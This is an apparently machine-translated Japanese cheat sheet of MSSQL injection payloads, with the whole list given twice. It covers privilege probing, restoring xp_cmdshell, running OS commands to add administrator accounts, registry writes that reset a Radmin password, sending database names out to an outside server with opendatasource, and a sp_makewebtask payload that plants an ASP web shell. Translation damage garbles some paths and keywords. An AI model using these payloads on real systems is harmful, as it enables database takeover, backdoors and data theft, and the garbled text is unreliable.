Dでよく使われるインジェクションコマンドをいくつかまとめてみました。
2022-01-18 19:01:35
// パーミッションとは
と1=(Select IS_MEMBER('db_owner'))です。
そして char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--。
//データベースを読み込む権限があるかどうかをチェックする
と1=(Select HAS_DBACCESS('master'))
そして char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --。
番号の種類
and char(124)%2Buser%2Bchar(124)=0
キャラクタータイプ
' と char(124)%2Buser%2Bchar(124)=0 と ''='' です。
検索タイプ
' と char(124)%2Buser%2Bchar(124)=0 と '%'=' です。
Explodeユーザー名
およびユーザー>0
' とユーザー>0と''=''です。
SA特典の確認
and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 。
そして char(124)%2BCast(IS_SRVROLEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- -- 。
MSSQLデータベースであるかどうかのテスト
and exists (select * from sysobjects);-- 。
複数行に対応しているかどうかの確認
;declare @d int;--.
xp_cmdshellのリストア
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--.
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version'))
//-----------------------
// コマンドを実行する
//-----------------------
でまずサンドボックスモードを開く。
exec master...xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Jet4.0Engines','SandBoxMode','REG_DWORD',1
次に、jet.ledbを使って、システムコマンドを実行します。
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winntsystem32ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add"))')
コマンドを実行する
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNTsystem32cmd.exe /c net user paf paf /add';-- 。
EXEC [マスター]. [dbo]. [xp_cmdshell] 'cmd /c md c:\1111' です。
xp_cmdshell 拡張プロシージャが存在するかどうかを確認するには。
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Wherextype = 'X' AND name = 'xp_cmdshell')
レジストリを書き込む
exec master...xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Jet4.0Engines','SandBoxMode','REG_DWORD',1
REG_SZ
レジストリを読む
exec master...xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Windows NTCurrentVersion³³Winlogon','Userinit'
ディレクトリの内容を読み込む
exec master...xp_dirtree 'c:\winntsystem32',1,1
データベースバックアップ
バックアップ データベース pubs to disk = 'c:\123.bak'.
//長さを明示する
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--)
saパスワードの変更方法:sql統合活用ツールで接続後、コマンドを実行。
exec sp_password NULL,'新しいパスワード','sa']を実行します。
SA権限を持つユーザーテストの追加と削除。
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
xp_cmdshell プロシージャを拡張するステートメントを削除します。
exec sp_dropextendedproc 'xp_cmdshell' を実行します。
拡張手順の追加
EXEC [master]. .sp_addextendedproc 'xp_proxiedadata', 'c:\winntsystem32³³sqllog.dll'
GRANT exec On xp_proxiedadata TO public.
サービスを停止または有効化する。
exec master..xp_servicecontrol 'stop','schedule' を実行します。
exec master..xp_servicecontrol 'start','schedule'.
dbo.xp_subdirs
特定のディレクトリの下にあるサブディレクトリのみをリストアップします。
xp_getfiledetails 'C:\InetpubwwwrootSQLInjectlogin.asp'
dbo.xp_makecab
複数のファイルを圧縮して、ある目的のファイルにする。
圧縮するすべてのファイルをカンマで区切って引数列の最後に配置することができる。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpubwwwroot⇄SQLInject⇄login.asp',
'C:\Inetpubwwwroot³³SQLInjectsecurelogin.asp'
xp_terminate_process
実行中のプログラムを停止しますが、引数としてプロセスIDを与えます。
ジョブマネージャー」を使って、「表示」-「フィールドの選択」メニューでpidを確認することで、各実行プログラムのプロセスIDを確認することができます
{メニューの「表示」-「選択フィールド」でpidを確認することで、各実行ファイルのプロセスIDを確認することができます。 xp_terminate_process 2484
xp_unpackcab
アーカイブを解凍します。
xp_unpackcab 'c:\test.cab','c:\temp',1
マシンは、radminをインストールし、パスワードが変更され、regedit.exeは、それが削除されたか、名前を変更したかどうかわからない、net.exeが存在しない、regedit /eを使用する方法はありません登録ファイルをインポートしますが、mssqlはサ権限、次のコマンドEXECマスターを使用しています。 dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMRAdmin﹑v2.0Server﹑Parameters','PARAMETER','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c パスワードを12345678に変更できることを確認しました。If you want to modify the port value EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMRAdmin
/
データベース lcx を作成します。
TABLE ku(名前 nvarchar(256) null)を作成します。
/
TABLE biao(id int NULL,name nvarchar(256) null)を作成します。
//データベース名の取得
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
// マスターにテーブルを作成し、パーミッションがどうなっているかを確認する
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);-- (Create TABLE マスター...D_TESTを作成します。
sp_makewebtaskを使用して、Webディレクトリmaに直接文章を書き込みます。
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))% 25>''%20';--
//テーブルコンテンツの更新
フィルムの更新 SET kind = 'Dramatic' Where id = 123
//コンテンツ削除
削除 from テーブル名 where Stockid = 3
と1=(Select IS_MEMBER('db_owner'))です。
そして char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--。
//データベースを読み込む権限があるかどうかをチェックする
と1=(Select HAS_DBACCESS('master'))
そして char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --。
番号の種類
and char(124)%2Buser%2Bchar(124)=0
キャラクタータイプ
' と char(124)%2Buser%2Bchar(124)=0 と ''='' です。
検索タイプ
' と char(124)%2Buser%2Bchar(124)=0 と '%'=' です。
Explodeユーザー名
およびユーザー>0
' とユーザー>0と''=''です。
SA特典の確認
and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 。
そして char(124)%2BCast(IS_SRVROLEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- -- 。
MSSQLデータベースであるかどうかのテスト
and exists (select * from sysobjects);-- 。
複数行に対応しているかどうかの確認
;declare @d int;--.
xp_cmdshellのリストア
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--.
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version'))
//-----------------------
// コマンドを実行する
//-----------------------
でまずサンドボックスモードを開く。
exec master...xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Jet4.0Engines','SandBoxMode','REG_DWORD',1
次に、jet.ledbを使って、システムコマンドを実行します。
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winntsystem32ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add"))')
コマンドを実行する
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNTsystem32cmd.exe /c net user paf paf /add';-- 。
EXEC [マスター]. [dbo]. [xp_cmdshell] 'cmd /c md c:\1111' です。
xp_cmdshell 拡張プロシージャが存在するかどうかを確認するには。
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Wherextype = 'X' AND name = 'xp_cmdshell')
レジストリを書き込む
exec master...xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Jet4.0Engines','SandBoxMode','REG_DWORD',1
REG_SZ
レジストリを読む
exec master...xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoft³³Windows NTCurrentVersion³³Winlogon','Userinit'
ディレクトリの内容を読み込む
exec master...xp_dirtree 'c:\winntsystem32',1,1
データベースバックアップ
バックアップ データベース pubs to disk = 'c:\123.bak'.
//長さを明示する
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--)
saパスワードの変更方法:sql統合活用ツールで接続後、コマンドを実行。
exec sp_password NULL,'新しいパスワード','sa']を実行します。
SA権限を持つユーザーテストの追加と削除。
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
xp_cmdshell プロシージャを拡張するステートメントを削除します。
exec sp_dropextendedproc 'xp_cmdshell' を実行します。
拡張手順の追加
EXEC [master]. .sp_addextendedproc 'xp_proxiedadata', 'c:\winntsystem32³³sqllog.dll'
GRANT exec On xp_proxiedadata TO public.
サービスを停止または有効化する。
exec master..xp_servicecontrol 'stop','schedule' を実行します。
exec master..xp_servicecontrol 'start','schedule'.
dbo.xp_subdirs
特定のディレクトリの下にあるサブディレクトリのみをリストアップします。
xp_getfiledetails 'C:\InetpubwwwrootSQLInjectlogin.asp'
dbo.xp_makecab
複数のファイルを圧縮して、ある目的のファイルにする。
圧縮するすべてのファイルをカンマで区切って引数列の最後に配置することができる。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpubwwwroot⇄SQLInject⇄login.asp',
'C:\Inetpubwwwroot³³SQLInjectsecurelogin.asp'
xp_terminate_process
実行中のプログラムを停止しますが、引数としてプロセスIDを与えます。
ジョブマネージャー」を使って、「表示」-「フィールドの選択」メニューでpidを確認することで、各実行プログラムのプロセスIDを確認することができます
{メニューの「表示」-「選択フィールド」でpidを確認することで、各実行ファイルのプロセスIDを確認することができます。 xp_terminate_process 2484
xp_unpackcab
アーカイブを解凍します。
xp_unpackcab 'c:\test.cab','c:\temp',1
マシンは、radminをインストールし、パスワードが変更され、regedit.exeは、それが削除されたか、名前を変更したかどうかわからない、net.exeが存在しない、regedit /eを使用する方法はありません登録ファイルをインポートしますが、mssqlはサ権限、次のコマンドEXECマスターを使用しています。 dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMRAdmin﹑v2.0Server﹑Parameters','PARAMETER','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c パスワードを12345678に変更できることを確認しました。If you want to modify the port value EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMRAdmin
/
データベース lcx を作成します。
TABLE ku(名前 nvarchar(256) null)を作成します。
/
TABLE biao(id int NULL,name nvarchar(256) null)を作成します。
//データベース名の取得
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
// マスターにテーブルを作成し、パーミッションがどうなっているかを確認する
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);-- (Create TABLE マスター...D_TESTを作成します。
sp_makewebtaskを使用して、Webディレクトリmaに直接文章を書き込みます。
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))% 25>''%20';--
//テーブルコンテンツの更新
フィルムの更新 SET kind = 'Dramatic' Where id = 123
//コンテンツ削除
削除 from テーブル名 where Stockid = 3
関連
-
よくあるウェブ攻撃について解説
-
JSとC#それぞれのアンチインジェクションコード
-
WebサイトにおけるInvisible Bomb eWebEditorのファイルアップロードの脆弱性に対するパッチについて
-
asp cer cdx htrファイルのアップロードを許可しないサイトでの解決策!
-
Wish poolプラグインリモートコンテナの脆弱性
-
Wind Newsletter 4.0の未公開バグについて
-
Macでmitmproxyを使ってHTTPSのデータを取得する方法
-
Sql2005インジェクションアシストスクリプト[修正版]について
-
サーブユーが管理者パスワードを入手する新手口(スピン)
-
コンピュータが他人に操作されるのを防ぐ
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン
おすすめ
-
優れたWebログセキュリティ解析ツール10選 おすすめまとめ
-
他人のQQチャット記録を確認する方法を調べる方法 QQチャット記録を確認する詳細な方法?
-
QQは、履歴を削除する方法簡単な方法を復元するためにチャット
-
SA サンドボックスモードで xp_cmdshell と xplog70.dll をリストアせずにコマンドを実行する。
-
広告コードをrm形式で挿入
-
mysql5 インジェクションの脆弱性
-
ASP、PHP、.NETのHTTP-REFERERの偽造方法と偽造REFERERを防止するための方法
-
ASPインジェクションの手法を網羅的に理解する【収録概要
-
潜入でopenrowsetでシェルを取得する方法
-
SQLインジェクション(SQL Injection)の攻撃方法を学ぶ